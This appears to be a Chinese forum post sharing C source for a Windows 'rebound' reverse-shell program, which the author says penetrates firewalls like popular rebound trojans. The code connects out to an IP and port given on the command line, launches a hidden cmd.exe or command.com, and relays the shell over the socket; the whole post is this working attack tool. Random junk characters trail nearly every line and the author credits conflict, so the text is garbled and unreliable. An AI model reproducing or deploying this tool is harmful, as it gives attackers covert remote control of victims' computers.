这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fn,
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6){nu rDBG
/* ============================== .W51Cup@&
Rebound port in Windows NT EQVa8xt/C
By wind,2006/7 E[Bj+mX9
===============================*/ $Ned1@%[
#include c@x6<S%*
#include }q=tg9
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#pragma comment(lib,"wsock32.lib") 6 2LLfD
Vtv1{/@+c
void OutputShell(); OjurfVw
SOCKET sClient; jk{m8YP)E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _BI[F
m
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void main(int argc,char **argv) u,JUMH]@
{ }$` PZUw>
WSADATA stWsaData; cuh Z_l
int nRet; }oL
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SOCKADDR_IN stSaiClient,stSaiServer; VK%
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if(argc != 3) OU[ FiW-E
{ |&_(I
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; `B/74Wa3q
} 3'!*/UnU
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WSAStartup(MAKEWORD(2,2),&stWsaData); I.- I4F)D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T:3}W0s,
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stSaiClient.sin_family = AF_INET; :KI0j%>2y
stSaiClient.sin_port = htons(0); ;umbld0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4ah5}9{g
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5s:g(gy3BR
{ -Yg?@yt
printf("Bind Socket Failed!\n"); =kb/4eRg
return; ]<k+a-Tt
} h*V~.H
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stSaiServer.sin_family = AF_INET; ) ):w`^6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ({mlA`d]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2Yg\<PsN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0RHjA&r3v
{ >AW&Lfw$
printf("Connect Error!"); z{nd4qOsD
return; 7!JBF{,=
} Pv\-D<&@m
OutputShell(); oO9yI^
} ~H:.&'E
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void OutputShell() :'sMrf_EA
{ i2!0bY
char szBuff[1024]; GpCjoNcW{
SECURITY_ATTRIBUTES stSecurityAttributes; .RPh#FI6J
OSVERSIONINFO stOsversionInfo; 22Oe~W;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >NZJ-:t
STARTUPINFO stStartupInfo; il7gk<
char *szShell; ,"f2-KC4h
PROCESS_INFORMATION stProcessInformation; >2mV{i&
unsigned long lBytesRead; fJ;1ii~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \9 k3;zw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s lYC\"$
stSecurityAttributes.lpSecurityDescriptor = 0; $$eBr8
stSecurityAttributes.bInheritHandle = TRUE; Wql,*|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O+=C8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <[V1z=Eo/]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ph17(APt,Q
stStartupInfo.wShowWindow = SW_HIDE; -+WE9
stStartupInfo.hStdInput = hReadPipe; :z2G
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +THK
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GetVersionEx(&stOsversionInfo); 9:7&`JlC#
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switch(stOsversionInfo.dwPlatformId) oG=4&SQ
{ T&->xef=
case 1: yK0iW
szShell = "command.com"; i'z(`"
break; cG5u$B
default: Svm'ds7>
szShell = "cmd.exe"; !JbWxGN`jn
break; -_irkpdC[
} qP72JxT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g5t`YcL
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send(sClient,szMsg,77,0); |9]_<X[ic
while(1) Ie/dMB=t
{ ;ibOd~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T]2=
if(lBytesRead) 0xc|Wn>
{ T=VBKaSbU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [#;CBs5o
send(sClient,szBuff,lBytesRead,0); {`V ^V_
} |D1TSv}rZD
else Tb!jIe
{ 7Jn%c<s
lBytesRead=recv(sClient,szBuff,1024,0); %jxeh.B3B
if(lBytesRead<=0) break; 5RR4jX]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dg4q+
} 9/dADJe0b
} =}2k+v-B
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return; ; - 8]
}